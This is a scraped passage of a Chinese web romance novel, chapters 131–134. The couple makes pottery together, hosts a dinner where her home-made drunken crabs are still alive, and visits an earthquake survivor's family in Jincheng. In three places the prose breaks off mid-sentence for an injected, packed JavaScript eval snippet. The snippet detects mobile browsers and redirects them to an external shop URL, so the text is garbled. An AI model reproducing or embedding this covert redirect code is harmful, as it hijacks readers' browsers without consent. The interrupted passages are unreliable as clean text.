深秋的天黑得太早,不到五点光景,秋意就显现出了萧瑟的本色。 齐寻揽着黎叙闻肩膀,尽量靠她近些给她取暖,可黎叙闻东瞧西看,一不留神就从他怀抱里溜走了。 她循着街边的甜香气息过去,果然在不远处捉到了一套炒锅和炉子。 “一斤糖炒栗子,一个烤红薯!” 她抬头揶揄慢慢走过来的齐寻:“这你总吃过?” 齐寻伸手捏她脸:“我是拖着鼻涕泡的傻子?” 他极有眼色地拎了板栗纸袋,黎叙闻小心翼翼接过红薯,烫得倒手,鼓起腮帮子吹了好久,才握着两头,慢慢掰开。 内里嫩黄的薯肉蒸在慢悠悠盘旋而上的热气里,在路灯下甜得流蜜。 她递了大的一半到齐寻唇边,齐寻低下头就着她的手咬了一口。 甜蜜温柔的味道瞬间充斥了他的感官,连同眼前的人,一起甜到了他心里。 他捧着闻闻的手,透过氤氲热气深深注视她。 他说不出的话,闻闻却替他说了。 “齐寻,我觉得活着很好,特别特别好。” “你没尝过、没玩过的那些好东西,我带你去试,咱们不要白来这世界一遭。” “我们要连同过去错过的,一起补回来。” 131. 第 131 章 又是一个悠闲逍遥的上午。 窗外天气不算晴朗,带着厚重的铅白,北风呼呼作祟,摇动着高层的窗户咯吱直响。 黎叙闻眷恋齐寻体温,蜷着身子躺在他腿上,举着本书闲闲地翻,偶尔张嘴叼住他投喂的蓝莓。 而齐寻呢,打了几个电话处理了工作,手指缠在她发丝间,目光时不时抚过她的脸,恋恋不舍似地。 视线逡巡几次,他没话找话:“看什么呢?” 黎叙闻不响,亮出书的扉页给他瞧。 “《暗夜刀锋》……战地记者手记……”齐寻一字一顿念出来:“谁写的?” “琼斯·埃弗利的自传,她可是我偶像,”黎叙闻笑道:“我没事就喜欢拿出来翻翻。” 齐寻拿过来粗翻了几页,里面各处都有她的标注,写下的笔记把空白处填得密密麻麻,笔迹各不相同,整本书让她翻得都卷边开胶了。 可见这本书陪了她很多年。 翻了一阵,他放下书,又开始看她。 黎叙闻悠闲地躺在他腿上,蹭着他柔软的家居服刷手机,知道他有话要讲,却偏不问,坏心眼地假装不知道。 半天,她听见齐寻小心地叫她:“闻闻?” 她眼睛不离屏幕:“嗯?” “今天你还有别的事吗?” “没了吧,就躺着了,”黎叙闻心下好笑,嘴上懒道:“外面那么冷。” “……好。” 过了一会儿。 “闻闻?” 黎叙闻笑着坐起来:“你再不说我回报社加班了啊。” 齐寻知道她又存心戏弄,轻咳一声,眼睛看着别处,问:“想再出去玩么?” “哦?”黎叙闻来劲了,凑近看他:“玩上瘾了?” 明知道故意在逗他,齐寻却不躲也不恼,贴近了吻她的眼睫:“嗯,想跟你一起,去很多地方。” 他拿过笔电,点开一个文件夹,里面满满当当都是各种体验项目,什么吹玻璃啦,围炉煮茶啦,温泉小院啦,甚至还有主题公园和SPA,尽是些从前跟他两个世界的东西。 黎叙闻指着上面的心心贴纸:“这是什么?” “觉得你可能会喜欢。” 听得黎叙闻心底呼啦啦地冒起小泡泡。 她靠在他肩上,问:“那你呢?你喜欢哪个?” 齐寻茫然地看了会儿屏幕,说:“我没什么概念。” 黎叙闻望着他的眸光轻微闪了闪。 他没有概念,那是怎么挑的呢,一定是把软件上所有能找到的项目,按照评分从高到低都看了一遍吧。 他肯定不知道高分很多都是刷出来的,也不知道有些地方被避雷避到飞起,只是想着,闻闻可能会喜欢。 好像一个没开化的小动物,在笨拙地、想尽办法向她的世界靠近。 带着这种酸软的心情,黎叙闻仔仔细细看过去,在某个时刻,视线忽然一停。 她不明所以地转了转眼睛,问:“你喜欢玩泥巴吗?” …… 齐寻上次玩泥巴,大概是四五岁的时候,跟小伙伴玩尿泥玩得一身味儿,回家被爹妈轮流嫌弃,按着他洗了两个小时的澡。 于是当他走进陶艺坊的时候,心里还在嘀咕,泥巴不就是加水然后捏么,有什么可玩的。 进去才觉得自己跟世界脱节太久了。 陶艺坊窗明几净,带着微微腥气的泥土气味被茶香一洗,洗出一股蓬勃的春意,盛开在晚秋里。 ……当然最蓬勃的还是陶艺坊里那帮来研学的小朋友。 整个不大的店面基本上被小朋友填满了,孩子们个个脸上挂着泥,叽叽喳喳地围着老师,让老师给捏个小鸟,做个小勺。 齐寻站在原地看了一阵,唇角漾起了个自己都没察觉到的笑。 而黎叙闻在旁边望着他温柔的眉眼,慢慢垂下了眼睛。 店员见他们进来,一脸歉意地小跑过来:“不好意思,一层有活动,有些乱,二位跟我上楼来吧。” 沿着木质楼梯拾级而上,楼上另有乾坤。 一间不太宽敞的阁楼,地板竟是加厚的双层玻璃,里面养着几条火红尾翼的金鱼,在他们脚下幽蓝的水波中,自在游弋。 角落被落地灯点得明亮温馨,墙上靠着个木架子,上面摆着琳琅满目的陶器,有的还光秃秃的,有的已经精心上了色,还有很多奇形怪状的物体,看不出是什么物种来。 二楼只有四张桌子,四台拉坯机,店员上来给他们简单讲解示范了下,丢下一句“有事请叫我”,便匆匆下楼带孩子去了。 黎叙闻望着桌上的一团泥,喃喃道:“做个什么呢?” 齐寻把两人的外套挂起来,道:“刚不是说杯子最简单?” “好没创意,”黎叙闻低头看自己惯于打字的灵巧手指,野心勃勃:“要是能做个乖乖就好了。” 事实证明,理想跟现实的差距是巨大的。 好不容易将泥料润得软硬适中,黎叙闻把它往转盘上一拍,信心满满把拉坯机开到最大档—— 不负众望地被甩了一身泥。 齐寻在她旁边,听她轻轻“呸”一声,一扭头,就看到一只满脸泥水的小花猫。 她堪称凶狠地关了机器,对那团被甩成了饼的泥严正警告:“不许再扑过来,听见了么?” 齐寻笑着摇头,拿了湿巾过来,捧起她的脸,细细给她拭去泥水。 他自己都没意识到,两人靠得近极了,一时间对方的呼吸声竟盖过了楼下铺天盖地的喧闹。 齐寻手指一抖,在她侧颊留下一道湿痕。 脚下粼粼水波爬上她明艳鲜润的脸,几经晃漾,停在了她的唇上。 那近乎是一种勾引。 他垂眼看着那双唇,正要低头,它忽然一个开合。 “我嘴没擦干净?”黎叙闻见他半天不动,掏出一面小镜子来:“口红画出来了?” 齐寻:“……” 他不动声色收起湿巾,点了下她鼻尖:“好学生也不好好听讲,刚刚老师说速度要适中,忘了?” 黎叙闻皱皱鼻子,哦了声。 其实她从小就不很擅长动手操作,实验课都是请同学代做,手工更不用说,基本全由钟郁青代劳。 当然,动手打架那是另外一回事了。 之所以带齐寻来做陶艺,是因为她有别的不可告人的心思。 齐寻给她把泥料重新捏好,放在转盘上:“再试试。” 这次转速没问题,是泥料有问题了。 它软软塌塌,歪歪扭扭,在黎叙闻手里转几圈,就迫不及待给她鞠躬,一心要朝她怀里扑。 任她怎么试,那块泥跟她作对似地,就是抬不起头来。 齐寻在旁边看了一阵子,笑着拖了个马扎过来,坐在她身后,将她困在双腿之间,双臂从两边把她环住,用手掌包住了她的手。 黎叙闻指尖猛地一蜷,在旋转的泥料上划出几道螺旋状的渐近线。 “对它温柔点,”齐寻的声音和气息同时在她耳侧响起,炙热非常:“它不像我,经不起你的力道。” 黎叙闻的脸骤然烧了起来。 那双手把她的手和泥料一起包起来,她掌心跟湿滑的泥贴得更紧,手背却被熟悉温热的粗糙触感所覆盖,一时间,她竟然分不清是泥土吻她更痒,还是被他包裹更痒。 “重心错了,”齐寻声音放得更轻,像是怕惊碎了怀里名贵的瓷:“像这样……慢慢推。” 他的体温跟身体同时将她严丝合缝地罩住,下颌可恶地虚搁在她肩上,唇舌靠耳后那条小蛇不过寸许。 黎叙闻深吸一次,手指转而缠住了他的指尖。 两人融为一体的痕迹,随着不停歇的旋转,留在了泥坯上。 身后的人轻轻笑了声:“不闹,要给它开口了。” 他并指如刀自上方按下,柔软泥料顺从地渐渐凹陷下去,好容纳他骨节分明的手指,汪不住的泥水蹭进他指间,顺着他搭在桌边的手臂缓缓流下。 黎叙闻注视着那块泥,忽而想起了婚礼前夜,在山坳帐篷里的那个夜晚。 那时的她是不是也像这样,在他手底下软得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377457|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一块泥,一汪水,任他改变形状,任他留下痕迹、予取予求。 “想什么呢?”齐寻忽然问:“心跳这么快?” 黎叙闻生来不会顾左右而言他。 一旦被识破,她就会烈火烹油、和盘托出,然后把火烧到对方身上。 泥水干在他裸.露结实的小臂上绘成一幅城郭,而凸起的血管是其中蜿蜒游走的护城河。 她一把抓碎了他身上的山河。 这个吻来得迅猛、来得意料之外,齐寻轻哼一声,只来得及看见她在更亮的水光中颤动的眉眼。 刚才他蓄意未果的亲吻,被她如此轻而易举地图谋。 楼下就是喧闹不休的人间烟火,他们窝在无人问津的阁楼中,交换一个带着泥土气息、猝不及防、但格外绵长的吻。 这就是黎叙闻带他来做陶艺的原因。 她小时候看过一部电影,具体情节已经记不清了,但其中某个香艳片段却一直在她脑海中:男主角半.裸着上身坐在女主角身边,看着她做陶艺,抚摸她的腰,然后两人接吻,缠绵,看得她脸红心跳。 那是她的启蒙,当时她幼稚地想,谁跟她来演这段,她就嫁给谁。 童年的一句戏言,在此刻一语成真。 …… 别说捏只小狗了,即使有齐寻帮着作弊,黎叙闻最后也没做出一只齐口水杯来。 她做出来的杯子细脚嶙峋却歪七扭八,杯口一边比另一边矮好大一截,她左看右看,给高的那一端捏出了个尖尖,回头去跟齐寻炫耀:“看!马蹄莲高脚杯!” 一转头她就笑不出来了。 齐寻真的很擅长手工活,做出了一个特别齐整、特别板正的小杯子。 中间还立着一个圆柱,而旁边的桌子上,摆着一只昂首挺胸的小狗。 那溜溜的豆豆眼,不就是她家乖乖吗? 黎叙闻不高兴了:“你骗我是不是。” 齐寻埋头去拉鱼线:“嗯?骗你什么?” “你说你没做过。”黎叙闻凑过来,小心翼翼去摸小狗:“以前真没玩过泥巴吗?” 齐寻:“……玩过。” “果然啊!”黎叙闻叫道:“你不是不玩这些吗,在哪里,跟谁,怎么玩的?” 齐寻苦笑:“别问了,我真说了你会跟我离婚的。” 就算不离婚,可能也会再让他去洗两个小时的澡吧。 黎叙闻还要再问,这时店员送走了小朋友们,终于有空上来关照他们。 看着黎叙闻的作品,店员笑眯眯道:“非常好呀,很有创意!” 所谓“有创意”,就是“看不出这是个什么玩意儿”的意思。 再看齐寻的,店员简直讶异:“是您自己做的吗?狗狗也是您捏的?” 得到肯定的答案,她盯着齐寻咋舌:“您有兴趣来我们店工作吗?月薪三千,包吃包住。” 齐寻:“……” 黎叙闻笑得不得了:“今儿别回家了,把你卖到这,打工给我赚饭钱。” 店员也笑道:“二位可以去休息一下,我把作品烘干之后,你们就可以上色了。” 黎叙闻坐得久了,腰酸背痛,先转身下楼了。 齐寻见她离开,才低声问店员:“这下面,能刻字吗?” 店员道:“当然可以,进窑之前都是可以的,不过新手可能比较难掌握。” “没关系。” 等店员去取刻刀的功夫,齐寻百无聊赖,一低头,却正好透过玻璃地板,对上的黎叙闻抬头望他的眼睛。 外面的天似乎终于晴了,这会儿金乌已然西沉,橙金的霞光如同丰沛汁水,奢侈地泼进一层来。 黎叙闻就坐在这光中,枕着自己的一片影子,漂浮在潋滟的波光里。 清亮水波起伏不定,映得她面目粼粼,她轻轻眯起眼睛,像在穿过层叠水纹,努力辨认着什么。 有一尾披着火烧云的金鱼,正好自旁边游过,勾着金边的尾鳍缓慢悠然地扫过她??的眉眼,那视线消失一瞬,又缓缓透出来。 美得像一支氤氲的谎言。 132. 第 132 章 进窑烧制要两三周时间,两人上了色,留了联系方式,约好过段时间回来取。 黎叙闻人菜瘾大,意犹未尽地:“捏泥巴真是好减压。”她偷瞟齐寻一眼。 看他捏更解压。 因为齐寻意外地跟做陶的场景很相配。 他全神贯注时总显得冷硬,凌厉轮廓失了平日里对着恋人的柔和,面无表情地沉着,眉眼垂得很低,眉心筑起一丝丝波澜,均码围裙在他宽厚的身上像个玩具,手掌沾满褚色的泥,灵活而无声地雕琢、等待。 沉静而硬朗。 她又惦记起齐寻没回答的问题:“你到底是在哪里玩过?” 齐寻打开车里的空调,伸手在副驾的出风口试了试温:“……小时候玩过。” 黎叙闻不依不饶:“在锦城?咱小时候锦城就有陶艺馆了吗?” 齐寻:“……” 怎么不是呢,野生陶艺馆,连水都是自备的。 车里的暖风呼呼对着她的脸吹,黎叙闻身的寒意被驱散,人也懒懒地困倦起来,靠着座椅打了哈欠:“唔,真想去看看。” 车外的街角华灯初上,暖融灯光点染了一片枫红和融金,光焰辉煌地倒映进寒池里。 那金辉一路烧进齐寻的眼睛。 他手搭在方向盘上盯着远方,脸上没有表情,忽然僵硬地说:“闻闻,你想跟我回家看看吗?” 黎叙闻蓦地转过头。 他没回头看她,像是要借着这一阵僵直,把一切都说出来:“你还没有见过我爸妈。他们都是爽朗的人,一定会喜欢你,而且我,我还没有……” 一盒老旧的磁带倏然卡了壳。 他还没有在纪念碑上找到他爸妈的名字。 车窗外人流如织,灯影交错,编成了这一方小小的牢笼,把他小心翼翼的希冀困在里面。 或许这不是个好的时机。 或许应该再等等,等到他再付出一些,再为她多做些事,再花些时间让她更幸福…… 再对她提出这么沉重的要求。 ……还是太心急了,不然她不会这么久都不说话。 身边的人确实没有回应,却把手机轻轻放在了他的手边。 齐寻闭眼咽下了后面的话,拿过手机,若无其事笑道:“挑好晚饭了?想吃什么——” 他低头去看她挑的菜色,思绪却一下子凝固了。 屏幕上是两张京屿飞锦城的开放式机票——用他们两人的信息买的,但还没有选定时间。 “早就买了,”黎叙闻轻轻地说:“正好最近休假,只是还没想好怎么跟你说。” 涉及到他的过往,她从来小心:“想什么时候回去?我都陪你。” 齐寻猛地把手机扣下了。 突如其来的幸福感冲得他眩晕,眼前的灯花毫无征兆地忽然爆开,噼里啪啦炸得他无所适从。 这种幸福竟让他害怕。 “吃饭吧,”黎叙闻又恢复了那种懒洋洋的语调:“捏泥比采访都累了。” 齐寻把堵在心口的一切深深呼出来,笑了声,牵住她的手:“遵命。” …… 回锦城之前他们还有一件事得料理——当时出力帮他们办婚礼的队友们,得请人吃一顿答谢宴。 不很相熟的人齐寻就在饭店请了,那几个跟他俩走得近的,非要到家里来,说是好奇他们的新家,也好奇齐寻这个速食爱好者下厨的手艺。 黎叙闻说自己是女主人,不能跟客人似的光等着吃,所以除了待客的水果点心,她还藏了份惊喜,连齐寻都没告诉,神神秘秘地蹲在厨房,听那嘟囔??的声音,像是在跟小狗商量。 到了约好的周末,齐寻赶鸭子上架,六点就起来买菜翻菜谱,忙活了一早上,总算在这帮人磕牙打屁入座后,按时端上菜来。 大山和小熊已经旁若无人吃起来了,纪士诚夹起一块排骨,啧啧称奇:“活得久了真是啥都能见着,竟然还能吃上白蛇做的菜。” 可把阿咩给羡慕的:“刘?我不想吃外卖了……” 刘?一般往备忘录里打菜单一边答应:“哎哎,学着呢学着呢。” 大梁坐在一边,看着他们熟得像一家人,有点艳羡,也有点无所适从。 本来白蛇他们在酒店答谢时没叫他,他还暗地里有些伤心,但转念一想,自己搞了那种事,人不原谅也是应该,只能老实受着。 所以接到白蛇请他到家里吃饭的电话时,他特别诧异。 不难想象,之所以叫他来,就是为了给他做个冰释前嫌的样子,所以他认真准备了伴手礼,老老实实坐在旁边,安心地当看客。 小熊对齐寻端上来的每一道菜都全肯定,大山吃得不吱声,刘?刚被齐寻送了辆车,更是说不出一句不好来。 齐寻第一次在非救援场景里听他们这么夸,甚至怀疑自己之前从来没认识过这些人。 黎叙闻看气氛不错,笑道:“女主人也准备了一道菜,希望大家到时候也按这个标准夸。” 她跑去厨房,在众目睽睽之下,端上了自己准备多时的压轴菜——醉蟹。 酒香带着海货的咸鲜扑鼻而来,淡青色蟹壳被腌制得透明,连带里面裹着的蟹肉都晶莹剔透,加上旁边嫩黄辛辣的姜丝,令人食指大动。 黎叙闻看着大梁,笑着说:“班门弄斧了,要是不正宗,大梁你不许告诉他们。” 大梁望着那一盘醉蟹,眼睛有点热。 他出身沿海,这是原先他们家里常做的吃食,京屿不靠海,他来这边好几年,也懒得弄这些,好久没吃这一口了。 这蟹看着就新鲜,大概是空运来的第一批,闻着跟原来家乡的味道,竟有七八分相似。 这不是想“做做样子”能做到的事,这是真的把他当自己人。 他嗫嚅着还没答话,黎叙闻接了通电话,道:“你们先吃,家里没饮料了,我去楼下拿。” 直到她走了,都没人说话。 因为所有人的眼睛,都直勾勾地盯着盘子里那几只螃蟹。 包括刚刚感动不已的大梁。 沉默了有将近半分钟,小熊才喃喃地说:“白蛇,是不是我眼花了?那小螃蟹……”他使劲眨了下眼:“那小螃蟹怎么在吃姜丝啊?” 齐寻:“……” 齐寻:“我也看见了。” 阿咩简直石化了,僵硬地转过头问大梁:“醉、醉蟹是这样的?” 当然不是。 大梁好歹见惯了海里活物,自告奋勇夹起来一只,那螃蟹晕乎乎的,竟然还拿螯跟他的筷子打架。 他凑上去闻了闻,问齐寻:“这是用米酒腌的?” 齐寻:“好像,厨房里是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383111|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半瓶米酒。” 大梁了然:“闻闻估计是让菜谱骗了,米酒得是自己家酿的高度米酒。” 而不是超市里那种十度都不到,一瓶下去脸都不红的甜米酒。 大梁闭了闭眼。 他之前那样对闻闻,人家还肯花这种心思,一心想让他跟白蛇重修旧好,别说这小螃蟹只是吃个姜丝,今天就算他夹的是块史莱姆,他都得闭着眼睛咽下去。 他灌了口水,心一横:“行吧,今天哥们也是揣着医保来的……” 齐寻苦笑着从他筷子上抢下张牙舞爪的螃蟹,当机立断拿了袋子,把一盘的螃蟹都倒进去:“不许说啊,谁都不许说。” 小熊笑得快不能自理了:“知道知道,我会像之前一样守护这个秘密。” 大家笑了一阵,纪士诚忽然问:“那你的秘密呢,还没跟闻闻说吗?” 齐寻低头绑袋子,唇角却压不住地上扬:“马上了。” 等带她回了锦城,那些他一直讳莫如深的事,他们两个从相见之前就开始的缘分,还有他是怎么执着地寻找了她十年,他会原原本本、事无巨细地,全部都告诉她。 她有权知道,他们是怎样的宿命纠缠、天作之合。 齐寻麻利地把塑料袋塞在大梁包里的半分钟后,黎叙闻就回来了。 她看着空荡荡的盘子,十分惊异:“螃蟹呢?” 齐寻面不改色:“他们抢光了。” 众人卡壳了一秒,瞬间接上:“啊对,太好吃了闻姐。” “可不是都没给你留。” “小熊,小熊吃的最后一只!要怪怪他!” 黎叙闻骄傲坏了:“那就好,我还怕腌太过了把螃蟹腌死了。”又问大梁:“好吃吗,跟你家的差得远吗?” “不远,”大梁拿出毕生演技,昧着良心:“正宗,特别正宗。” 黎叙闻大喜:“太好了!那下次咱们还做!” 众人:“……” 酒酣饭足,免不了要聊一些家常话题,比如—— “打算什么时候要孩子?” 话是纪士诚问的,黎叙闻夹菜的手一顿,下意识扭头去看齐寻。 齐寻在桌下轻轻捏了下她的手:“没这个打算。” 黎叙闻眉心蓦地一跳。 “啊?不要啊?”小熊疑惑道:“白蛇不是挺喜欢孩子的,那次在龙腾碰上那个骑大白鹅的小姑娘……” “就是呀,”阿咩也问:“你们这么好的基因都不生孩子吗?” 黎叙闻听着他们七嘴八舌的议论,目不转睛地盯着齐寻。 齐寻笑着,语气听不出什么勉强:“没必要,自己都没活明白呢,要什么孩子。” 纪士诚看了他一眼,没说什么。 “也行,”他笑呵呵道:“两个人好好过,一辈子也值当了。” 他咂了口酒,觉得没什么味儿。 大概是想起了他没过够,就被迫戛然而止的光阴。 这些乱七八糟的声音灌进黎叙闻耳朵里,她甚至没有多余的心力去应付了。 原来两个相爱的人在一起,还远不是这辈子的终点。 过日子是要妥协的,可妥协的人,不能总是他。 那她到底该怎么选? 那一天,直到席毕人散,她都没能想出这个问题的答案。 133. 第 133 章 十年前被大地震撕裂的创口,在十年后的今天,已然开出了生机勃勃的花来。 锦城地方不算大,但建筑鳞次栉比,游人如织,与京屿的繁忙不同,这里连空气都弥漫着闲适而慵懒的气息。 正是半下午的悠闲时光,阳光难得的好,街边到处是露天茶铺,人群闲坐着品茶晒太阳,搓麻将的声音和吆喝声潮涌般翻滚,把旁观人的心思也轻飘飘地托起,再大的心事在这样的烟火气中滚一遭,都变得轻盈起来。 黎叙闻让齐寻牵着,一路走一路瞧,眼睛都不曾从街边琳琅满目的糖水铺和点心铺上拔开。 齐寻看着好笑,捏着她的下巴给她转过来:“想吃哪个?” 这一转让她错失了一段没见过的街景,黎叙闻嗔他:“刚飞机上放饭,你怎么不拦着我?” 她不满意得很:“塞了一肚子鸡肉米饭,亏大了!” 齐寻失笑:“晚饭,晚饭沿街吃,从街头吃到街尾,行吧?” “那现在呢?”黎叙闻问他:“要去纪念碑看看吗?” 齐寻望着她一片坦然的眼睛。 从飞机落地的那一刻,他就一直在观察她,观察她的表情,眼神,一举一动。 他以为会从这些细节里看到她的感慨,比如十年前她来时这里一片废墟,比如询问他当时的某个震区现在在哪里,或者能稍微回忆起一点细节,能映照出那个支撑他多年的理由。 可是没有,什么都没有。 她完全是第一次来锦城的样子,赞叹和疑问都跟其他普通的游客别无二致。 ……哪怕是自我保护,需要忘记到这种程度吗? 齐寻眼神黯了黯,怕她看出端倪,立刻撇过眼神:“不急,晚上吧。” “要买什么东西吗,纸钱什么的?” “不用,我上半年来过一次了,纪念日的时候。” “哦,”黎叙闻盘算了一下,忽然说:“咱们第一次在仓库遇见,不就是那时候吗?” 那天齐寻之所以会独自去那个城郊仓库,就是因为之前他回了趟锦城,错过了跟项目主创一起堪景的日子。 他带着反复咀嚼了十年,已然麻木的悲伤回到京屿,在那里遇见了黎叙闻。 现在想想,这怎么不算爸妈保佑,牵引他找到自己的命运呢。 “对。”齐寻应了声,牵着她的手指收得更紧了些。 他掌心里的那只手,也了然地给予他相同的回应。 “我先……”他舔了舔嘴唇,似乎有些不明所以的紧张:“先带你去个地方。” 沿着宽敞主街走了一阵,齐寻带她拐进了一条背阴街巷。 阳光不曾光顾这里,一进巷口,带着凉意的潮气就瞬间涌上来。脚下的青石板滑腻,巷子两边栽着连绵的桂树,这时候桂花已经落了,空气里仍漫着一丝丝甜香。 向内几十米,齐寻在一家毫不起眼的杂货店门口站住了。 他抬头看着风吹日晒中褪了色的招牌:“到了。” “李严?” 他先一步踩进逼仄的店里,黑洞洞的空间内响起机械的“欢迎光临”。 里屋有人听见动静出来,露脸前就扬声叫道:“哦哟,小齐子。” 只见里面走出来一个身量不高的青年,黑红面膛,毛寸,在半明半暗的室内笑得明媚。 他站在门口,伸手冲他们打招呼:“来撒,来里屋。” 那双手自肘关节以下,都空荡荡的。 黎叙闻眉心一挑,未及反应,就被齐寻推着,穿过仓库一样的铺面,进了后面的隔间。 不大的空间,一套木头桌椅,一张铺着格子床单的硬板床,收拾得很整洁。 李严忙着到处翻纸杯和茶叶,抽空对着床一抬下巴:“坐嘛。” 黎叙闻想去帮忙,却被齐寻按住了。 他拉着她,心安理得坐在床边,随意道:“生意还可以哈?” 回到这里,他说话带上了明显了锦城口音,黎叙闻还没听过他这么讲话,从侧面看着他,一种神奇的感觉油然而生。 “可以可以,养得活自己。”李严沏茶倒水,动作十分灵活,语气也快活:“这水灵妹子是谁啊?” 他挤眉弄眼:“女朋友啊?” 齐寻淡淡道:“老婆。” “哦哟你可以哎,”李严夸张地瞪圆眼睛:“闷起头老婆都娶了嗦!” 他普通话不很标准,但努力地捋直舌头,对黎叙闻道:“原来我们上学的时候,齐寻可是风云人物,打篮球动了多少妹子的春心……” 被齐寻一把捂住嘴。 黎叙闻笑眯眯的:“比如谁呢?” 李严哈哈大笑:“比如二班的那个班花,哦哟给他送了多少脉动红牛巧克力,他一口也不吃哈。” “是吗,”黎叙闻笑道:“那你偷偷给我班花的地址,我一会儿去拜访。” 原本就是句玩笑话,李严听了却神色一滞。 空气里浮起一层微妙的安静。 齐寻拍了拍她的手,却没再多说,黎叙闻这才反应过来,笑容怔愣着收住了。 “不妨事,”李严咳了声,对她笑:“多少年了,不避讳这些。”又转头对齐寻道:“我妈老汉儿进货去了,马上回来哈。” 黎叙闻不敢再轻佻,只问齐寻:“要一起吃饭?” 齐寻没说话,李严却接过话:“你以为他是来看我的嗦,他是来看我妈老汉儿的。” 齐寻笑了声:“知道就行。”顿了顿又道:“我看附近起了墙,这边位置不好了吧,地方也旧了,不然给你们物色个新地方。” 李严摇头:“不用,都好,附近邻里都熟悉了,挣得够花。” “锦城发展快,游客也多,”齐寻坚持:“你想想以后……” “行了齐寻。” 李严忽然不客气地打断他:“你顾好自己屋头,莫操心了。” 他用手臂夹着水杯,仰头喝了一口,又说:“说了好多回,你不欠谁的。” 这一句把齐寻怼得闭了嘴,也在黎叙闻心上不轻不重地一推。 这句话,让许多事情都有了解释。 比如他为什么住毛坯房,为什么这些年他活得像个苦行僧,比如他一个人神情空茫地坐着的时候,到底在想什么。 她正默然,外面传来妇人的喊声,叫李严出去帮着理货。 齐寻立刻站起来,探头喊了声“??”,外面“诶?”了声,冲进来个丰满朴素的阿姨,嗓门极大:“寻寻啊!” 后面跟来李严的爸爸,很精干的小老头:“寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386161|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻来了?” 齐寻垂在身侧的手微不可查地蜷了下,盯着两个老人,仔仔细细地瞧。 他俩也见怪不怪,笑着站在原地,任凭他打量。 看了好一阵子,他才如梦初醒,拉过黎叙闻:“我今年结婚了,这是我老婆,黎叙闻。” ??惊喜地哎呀一声,拉着她的手不住地笑:“妹儿多乖的!”又问齐寻:“去带给你妈老汉看过没有?” “还没,”齐寻竟有些局促:“晚些去。” “好,好。”叔叔也感慨,在一边上上下下看她:“太好了,总算找到咯,他们看了得安逸惨咯。” 出乎黎叙闻意料,齐寻并没打算多留,帮他们卸了货,就带着她告辞了。 一家三口也没有多留,习以为常似地,搞了点常吃的东西给他带上,让他带着老婆常来。 一直走到巷口,黎叙闻回了下头,远远见着他们三个还站在门口,见她回望,又跟她挥了挥手。 黎叙闻转过头,紧紧偎着齐寻,心里说不上是什么滋味。 她猜齐寻每次回来都来看他们,每次也都是这样行色匆匆——见面不要太短,不然他无法从他们身上想象父母老去的模样,更不要太长,免得眼见着别人阖家团圆,自己徒增烦恼。 那年暮春留给他太多无法言说的禁地,他就这样跌撞小心地,带着它们一路走,走到她的面前。 齐寻见她靠得紧,以为她冷,捧起她的手搓了搓:“再随便逛逛,晚上带你吃火锅。” 黎叙闻按下种种心绪,拿出十二分的雀跃:“好啊!要最地道的!” 很快她就为她的雄心壮志付出了代价。 到了晚饭点儿,锦城街巷到处飘的都是鲜香勾人的底料气味,任意一家苍蝇馆子门口都在排大队。 齐寻带着她七拐八拐,那架势活像地下党找联络站,等到了地方,前面的队已经乌央乌央的了。 待他们落座,翻滚着各种料的红汤和分量极大的肉菜端上来,黎叙闻颇有洞见地先买好两瓶饮料,齐寻指着一盘红彤彤的、看不出是什么的东西对她道:“尝尝这个,这家店的特色。” 黎叙闻刷了一片,兴致勃勃地入了口。 这是她当天晚饭记得的最后一个画面。 等她再记忆回笼,她已经坐在酒店的床上了——嘴唇和舌头依然不是自己的。 齐寻半跪在她面前,一脸凝肃地盯着她,见她回神,问:“好点了?还辣吗?” 黎叙闻茫然道:“……刚不是在吃火锅吗?” 齐寻哭笑不得:“出来都两个小时了……我也是第一次见吃辣吃到断片的人。” 黎叙闻:“……” “你笑什么!”她跳起来,直接挂在齐寻身上,口齿不清:“再笑我亲你眼睛了!” 齐寻笑得变本加厉:“又厉害了?不是刚刚求我再给你买瓶可乐的时候了?” 黎叙闻伸手去捂他的嘴:“还说!我灭口了!” 她一松手,整个人险些掉下来,齐寻伸手一捞掂住她,大笑道:“不用,给它找点事做,它就不笑你了。” 黎叙闻咬着唇想了想,双臂重新环住他脖颈,给了他一个长长的、热辣的吻。 窗外星星眨着眼看了一阵子,害羞地躲去了云里。 134. 第 134 章 第二天直到临近中午,他们才到大地震纪念馆门口。 究其原因,是齐寻在短短两小时内忘了拿手机、找不到身份证、车坐错了方向,忘了买妈妈爱吃的蛋糕。 黎叙闻一句话也没说,安静地在后面跟着,间或在他忽然停下,说出下一件忘记的事情时,安慰两句“没事没事,来得及”。 ——他从来冷静、周全、游刃有余,这种大脑飞天的场景,估计只有在近乡情怯的时候才会有吧。 